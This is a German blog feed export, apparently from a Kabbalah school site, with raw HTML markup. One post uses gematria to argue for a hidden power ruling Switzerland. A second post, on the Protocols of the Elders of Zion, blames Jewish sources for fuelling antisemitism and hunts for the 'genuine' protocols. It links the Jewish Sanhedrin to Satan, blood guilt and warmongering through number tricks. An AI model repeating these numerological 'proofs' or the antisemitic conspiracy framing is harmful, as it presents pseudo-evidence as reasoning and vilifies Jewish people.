  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Eisen<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„trocken<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Blut<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Jungfrau<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Cheops<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Merkur<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Kupfer<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„kalt“<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Nährboden<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Lauterbrunnen<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Alt-Kairo<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Pluto<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Lebenskraft<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Grindelwald<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Memphis<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Jupiter<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Eiweiss<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Interlaken<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">(Johannes)<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Uranus<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Stickstoff<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„Luft“<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Kohlehydrate<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Spiez<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">(Matthäus)<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Neptun<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Kohlenstoff<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„Erde“<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">reines Wasser<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Thun<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">(Lukas)<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Venus<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Wasserstoff<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„Wasser“<o:p /></span></p>
  </td>
 </tr>
 <tr>
  <td width="102" valign="top" style="border-style: none solid solid; border-color: -moz-use-text-color windowtext windowtext; border-width: medium 1pt 1pt; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">freies Radikal<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH" style="font-size: 8pt;">Gunten<o:p /></span></strong></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">(Merkur)<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.75pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Saturn<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">Sauerstoff<o:p /></span></p>
  </td>
  <td width="102" valign="top" style="border-style: none solid solid none; border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0mm 5.4pt; width: 76.8pt;">
  <p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;">„Feuer“<o:p /></span></p>
  </td>
 </tr>
</tbody></table>

</div>





<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Das Evangelium
der echten Aufklärung<o:p /></span></strong></p>

<p class="MsoNormal"><span>Die
„Geomanten“, so scheint es, haben also seinerzeit „ganze Arbeit“ geleistet, die
sich noch fortgesetzt hat bis zur Schaffung der Postleitzahlen für die ganze
Schweiz. Es wurde hier im Einzelnen eine Kraft- und Machtkonstellation
aufgedeckt, wie man sie andernorts wohl mit Sicherheit nicht antreffen wird –
das „Supremat“, die Oberherrschaft. <o:p /></span></p>

<p class="MsoNormal"><span>Gesamthaft
ergeben sich so für die zehn Felder der Matrix der Seele, die hier geographisch
implementiert wurden, <strong>69</strong>
Konsonanten, die Wertsumme <strong>5130</strong> und
der Sofitwert <strong>9840</strong>. <em>Gematria</em>: Zum Wert 69 existiert des Verb
TLL für „überdachen“, siehe „Top of Europe“, sowie SWG für „von Gott abtrünnig
werden“. Zum reduzierten Wert 513 existieren die Begriffe ThChQH für
„Gesetzgebung“, BShWRH für „Evangelium“, AWNNWTh für „Onanie“ (= Befriedigung
mit dem eigenen Knochenmark, dem Samenspender, auch durch jede anstrengende
körperliche Tätigkeit). Zum reduzierten Wert 984 existiert die Sequenz YTs-ZHB
für „Goldener Baum“ (Wirbelsäule mit Knochenmark) und die Auflösung der
Abbreviatur R“Ch in RAShJTh ChKMH für „Der Anfang der Weisheit“. Damit ist die erste
echte Aufklärung der Welt gemeint. <o:p /></span></p>

<p class="MsoNormal"><span>Die
hier vorgetragene „Beweisführung“ für die Existenz einer verborgenen Herrschaft
in der Schweiz (= Fronvogt) folgt der hermeneutischen Regel „geserá schawa“ (=
Analogie), die vor einem rabbinischen Gericht hinreichend Akzeptanz fände. Doch
gleichwohl handelt es sich bei diesen kabbalistischen Analogien und Strukturen
nicht um harte Fakten, sondern nur um „Indizien“, die zwar einen hohen Grad an
Wahrscheinlichkeit aufweisen, nicht aber eine 100%ige Sicherheit darstellen.
Deshalb soll dieser Bericht vorläufig als „Political-fiction-Story“ angesehen
werden, deren allfällige Gültigkeit durch weitere und konkrete Fakten zu
erhärten wäre.<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><em><span>Dirk Schröder, unabhängiger Privatgelehrter, CH-2502
     Biel<o:p /></span></em></li></ul>

<p class="MsoNormal"><font size="1"><span>LITERATURVERZEICHNIS:
</span><strong><em><span lang="DE-CH">Baines</span></em></strong><span>, John, und Málek, Jaromir,
„Weltatlas der Kulturen: ÄGYPTEN“, München 1980 –</span><strong><em><span lang="DE-CH">Büchmann</span></em></strong><span lang="DE-CH">, Georg,
„Geflügelte Worte. Der klassische Zitatenschatz“, von der Erstausgabe 1864
fortgeführte Originalausgabe, 3. Auflage, Frankfurt/M-Berlin 1987 – <strong><em><span>Gematrikon</span></em></strong>, Jerusalem 1990, Band I:
Von 1 bis 1000, 649 Seiten; Band 2: von 1001 bis 3000, 518 Seiten – <strong><em><span>Gesenius</span></em></strong>, Wilhelm, „Hebräisches und
aramäisches Handwörterbuch über das Alte Testament“, unveränderter Neudruck der
17. Auflage von 1915, Berlin-Göttingen-Stuttgart 1992 – <strong><em><span>Goodman</span></em></strong>, Linda, „Das neue Handbuch
der Esoterik. Mystisches Wissen und spirituelle Weisheit“, 3. Auflage, Zürich
1988 – <strong><em><span>Ifrah</span></em></strong>, Georges,
„Universalgeschichte der Zahlen“, Frankfurt/M-New York 1986 – <strong><em><span>Langenscheidt</span></em></strong>, „Taschenwörterbuch
Hebräisch“, von Jaacob Lavy, 5. Auflage, Berlin und München 1996 –<span>&nbsp; </span>ders. „Handwörterbuch Deutsch-Hebräisch“, von
Jaacob Lavy, 1. </span><span lang="EN-GB">Auflage,
Berlin und München 1980 – <strong><em><span>Larsen</span></em></strong>,
Ludwig B., „Key to the Bible ans Heaven. </span><span>The Mystery of the Ages Revealed”, Portland, Oregon USA 1919 –<strong><em><span>Lurker</span></em></strong>, Manfred, „Wörterbuch der
Symbolik“, Zürich 1984 – </span><strong><em><span lang="DE-CH">Radler</span></em></strong></font><span lang="DE-CH"><font size="1">, Rudolf, Hrsg., „Knaurs grosser
Schauspielführer“, mehr als 1000 Einzeldarstellungen zu Werken und ihren
Autoren, Zürich 1987 – <strong><em><span>Senger</span></em></strong>,
Harro von, „Strategeme. Lebens- und Überlebenslisten aus drei Jahrtausenden.
Die berühmten 36 Strategeme der Chinesen“, Bern-München-Wien 1988 –<strong><em><span>Simmen</span></em></strong>, Jeannot, und Kohlhoff,
Kolja, „Kasimir Malewitsch. Leben und Werk“, Köln 1999 – <strong><em><span>Zunz</span></em></strong>, Leopold, (Übersetzer), „Die
Heilige Schrift“, vollständiger, hebräisch vokalisierter Text mit deutscher
Übersetzung, in vier Bänden, Basel 1997</font> </span><span><o:p /></span></p>


 <a href="http://www.kabbalaschule.ch/blog/?p=25#more-25" class="more-link">&#8211;></a>]]></content:encoded>
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		</item>
		<item>
		<title>Der</title>
		<link>http://www.kabbalaschule.ch/blog/?p=22</link>
		<comments>http://www.kabbalaschule.ch/blog/?p=22#comments</comments>
		<pubDate>Sun, 28 Jan 2007 15:50:16 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Kabbala]]></category>

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		<description><![CDATA[

 
Die Protokolle der Weisen von Zion
Auslöser für die vorliegende Untersuchung war ein Bericht im jüdischen Wochenmagazin „tachles“ vom 26.1.2007, wo es wieder einmal um den Dauerbrenner der ominösen Protokolle ging, mit denen das Feuer des Antisemitismus von jüdischer Seite ebenso simpel wie medienwirksam stets aufs Neue geschürt werden kann. Diesmal ging es um einen Forscher, [...]]]></description>
			<content:encoded><![CDATA[<p align="center" style="text-align: center" class="MsoNormal"><span lang="DE-CH">
</span>
<p class="MsoNormal"><span lang="DE-CH"> </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Die Protokolle der Weisen von Zion</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Auslöser für die vorliegende Untersuchung war ein Bericht im jüdischen Wochenmagazin „tachles“ vom 26.1.2007, wo es wieder einmal um den Dauerbrenner der ominösen Protokolle ging, mit denen das Feuer des Antisemitismus von jüdischer Seite ebenso simpel wie medienwirksam stets aufs Neue geschürt werden kann. Diesmal ging es um einen Forscher, der seinen Lebensunterhalt mit diesem freudlosen Thema bestreitet, so dass es schon allein deshalb nicht zur Ruhe kommen kann:</span></p>
<p class="MsoNormal"><em><span lang="DE-CH">„Seit zehn Jahren befasst sich der deutsche Historiker Michael Hagemeister mit den ‚Protokollen der Weisen von Zion’, seit Oktober 2006 forscht er am Historischen Seminar der Universität Basel an einem vom Schweizerischen Nationalfonds finanzierten zweijährigen Projekt über den Berner Prozess von 1933 bis 1935, in dem die Theorie einer jüdischen Weltverschwörung als Fälschung und Schuldliteratur verurteilt wurde … In einer Gastvorlesung an der Universität Bern gab Hagemeister nun einen ‚Werkstatt-Bericht’ über seine Forschung, die dereinst zur erstmaligen kommentierten Veröffentlichung der Akten und Materialien aller beteiligten Parteien führen soll.“</span></em></p>
<p class="MsoNormal"><span lang="DE-CH">Die wohl aufwendig mit Bundesmitteln dotierte Forschungsarbeit des Historikers Michael Hagemeister besteht also lediglich darin, das bereits zum Thema vorhandene Material zusammenzutragen, zu sichten und zu kommentieren. Ausserdem gelangt er nach seiner zehnjährigen Forschungstätigkeit zu zwei bemerkenswerten Feststellungen:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><em><span lang="DE-CH">„Das ist ein Feld, auf      dem die Legenden wachsen“</span></em></li>
<li class="MsoNormal"><em><span lang="DE-CH">„Der Verfasser der      Protokolle [ist] bis heute nicht bekannt“.</span></em><span lang="DE-CH"> Doch      Hagemeister betont, <em>„er habe die      Hoffnung nicht aufgegeben, dass er noch herausgefunden werden könne.“ </em></span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Diese schier unglaubliche Hilflosigkeit in einer derart bedeutsamen Angelegenheit hat mich sofort veranlasst, das Thema zum x-ten Male neu anzupacken. Wegleitend ist dabei meine Feststellung, dass alle Welt davon redet, dass diese „Protokolle“ eine Fälschung seien, aber noch niemand die Frage stellte und ihr nachgegangen ist, welches dann eigentlich die „echten Protokolle der Weisen von Zion“ sind. Erst wenn diese tatsächlich bekannt sind, kann man ein vielleicht endgültiges Urteil darüber fällen, ob diese protokollartig zu Papier gebrachte <em>„Theorie einer jüdischen Weltverschwörung als</em> <em>Fälschung und Schundliteratur“</em> (tachles) zu gelten hat oder nicht. Wo aber lassen sich diese „echten Protokolle“ finden? </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Der jüdische Sanhedrin</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Mit etwas Nachdenken gelangt man aufgrund des bereits viel sagenden Titels „Die Protokolle der Weisen von Zion“ zu einem begründeten Anfangsverdacht gegenüber der allgewaltigen Institution des jüdischen Sanhedrins. Denn dieser umfasst </span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">einerseits 23 Älteste, 23 Priester und 23 Schriftgelehrte, also      die ganz erkleckliche Anzahl von dazu noch besonders ausgewählten 69 <strong>Weisen</strong>. Über diesem erlauchten      Gremium befindet sich der mit absolutistischer Macht ausgestattete, das      heisst die übliche demokratische Gewaltenteilung in sich vereinende Fürst oder      Präsident mit dem Titel „Nassi“, der an seiner Seite noch einen      Stellvertreter hat mit dem hier sehr seltsam erscheinenden Titel „Áv-Bét-há-Din“,      da er ihn als den Präsidenten eines anderen Gerichtshofes ausweist; </span></li>
<li class="MsoNormal"><span lang="DE-CH">andererseits aber auch zwei Schreiber, die das im Sanhedrin      Gesprochene und Beschlossene in <strong>Protokollen</strong>      festhalten.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Die Begriffe „Protokolle“ und „die Weisen“ lassen sich also der jüdischen Einrichtung des Sanhedrins zuordnen. Hinzu kommen noch der <em>„Angeklagte“</em> und das <em>„Publikum“</em>. </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Der Satan und sein Hofstaat</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Die unter dem ersten Punkt aufgeführten Personen ergeben, zusammen mit dem „Angeklagten“, eine Gesamtzahl von <strong>72</strong>. Das ist ausgerechnet in diesem Kreis der ausgefuchsten Hebraisten und Kabbalisten sehr bedenklich, denn die 72. Primzahl ist 359 und zu diesem Wert existiert der hebräische Begriff ShTN mit der Aussprache <strong>„Satan“</strong> und derselben Bedeutung. Das aber scheint hier der allmächtige „Fürst“ des Sanhedrins zu sein, der seinen willfährigen Hofstaat um sich versammelt hat. </span></p>
<p class="MsoNormal"><span lang="DE-CH">Das wiederum ist deshalb bedeutsam, weil es in Mt 14,53ff. heisst, <strong>Jesus</strong>, der nachmalige Begründer des Christentums und von der Herkunft ein Jude, sei während des Passahfestes <em>mitten in der Nacht</em> durch den Verrat des Judas – symbolisiert durch den „Judaskuss“ – festgenommen und vor den <em>„ganzen</em> <em>Hohen Rat“</em> gebracht worden, der aus dem Hohepriester selbst sowie aus anderen Hohepriestern und Ältesten und Schriftgelehrten besteht. Bei diesem „ganzen Hohen Rat“ aber handelt es sich um den jüdischen Sanhedrin. Das <em>aramäische</em> Wort für den Sanhedrin (griechisch) ist „Methibtha“ MJThJBThA [Funk „Entstehung“ 59], woraus sich unschwer der <em>hebräische</em> Name JShJBH „Jeschiva“ für die heutigen Talmudhochschulen ableiten lässt. Auch der Titel „Oberster Rat“ oder „Die Grosse Versammlung“, „Knesset há-gedolah“, ist hierfür gebräuchlich. Dass man jedoch vorrangig beim aus dem griechischen Wort „Sanhedryon“ abgeleiteten Namen „Sanhedrin“ geblieben ist, kann nur kabbalistisch gedeutet werden. Denn dieses Wort wird hebräisch SNHDRJN geschrieben [Ashkenazi 373] und die 7 Konsonanten haben die Wertsumme 379 und den Sofitwert 1029. <em>Gematria</em>:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">379 = MWRH NBWKJM <strong><em>„Führer der Verwirrten“</em></strong>, ein      Buchtitel von Maimonides; YJR HDMJM <strong><em>„Ort der Blutschuld“</em></strong> (Ez 24,6);      MChRChR-MLChMTh <strong><em>„Kriegstreiber“</em></strong>; PRMNT <strong><em>„Ferment“</em></strong>;      ShYT <strong><em>„zerstossen, zerkleinern“</em></strong>.</span></li>
<li class="MsoNormal"><span lang="DE-CH">1029 = AThJAJZM <strong><em>„Atheismus“</em></strong>; BRJTh-NShWAJN <strong><em>„Ehebund“</em></strong>;      Ch“H = ChDWSh HYWLM <em>„Erneuerung der      Welt“</em>; A“Ts = AWRCh TsDJQJM <em>„Wege      der Gerechten“.</em></span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Im politischen „Aussen“ der Welt mag der Sanhedrin – wie behauptet wird – untergegangen sein, doch die Gematria weist darauf hin, dass der Ort, an dem er mit Sicherheit seit jeher und noch immer gnadenlos praktiziert wird, die menschliche Seele ist. Und nur hier allein werden auch die wirklich „echten Protokolle“ geschrieben, auf es allein ankommt. Doch hier ist auch der Ansatz zu finden für eine durchgreifende „Erneuerung der Welt“.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Die Matrix der Seele als jüdischer Sanhedrin</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Die drei Gruppen von Weisen, der Stellvertreter, der Nassi, die Protokolle, die beiden Schreiber, der Angeklagte und das Publikum ergeben zehn „Posten“, was sich unschwer mit den zehn Feldern der Matrix der Seele in Übereinstimmung bringen lässt:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">Die 23 <strong>„Ältesten“</strong>,      die das Feld des <strong><em>freien Radikals</em></strong> O1 besetzen und      es überlagern, werden hebräisch ZQNJM geschrieben: 5 Zeichen, Wertsumme      207, Sofitwert 767. <em>Im Neuen      Testament entspricht dies dem Markus-Evangelium und dem Symbol „Löwe“, in      der antiken Elementenlehre dem „Feuer“.</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Die 23 <strong>„Priester“</strong>,      die das Feld des <strong><em>reinen Wassers</em></strong> H2O besetzen und      es überlagern, werden hebräisch KHNJM geschrieben: 5 Zeichen, Wertsumme      125, Sofitwert 685. <em>Im Neuen      Testament entspricht dies dem Lukas-Evangelium und dem Symbol „Stier“, in      der antiken Elementenlehre dem „Wasser“</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Die 23 <strong>„Schriftgelehrten“</strong>,      die das Feld „Kohlehydrate/Fette“ besetzen und es überlagern und dazu noch      negativ den <strong><em>Bakterien</em></strong> entsprechen, werden hebräisch SWPRJM      geschrieben: 6 Zeichen, Wertsumme 396, Sofitwert 956. <em>Im Neuen Testament entspricht dies dem Matthäus-Evangelium und dem      Symbol „Engel“, in der antiken Elementenlehre der „Erde“.</em></span></li>
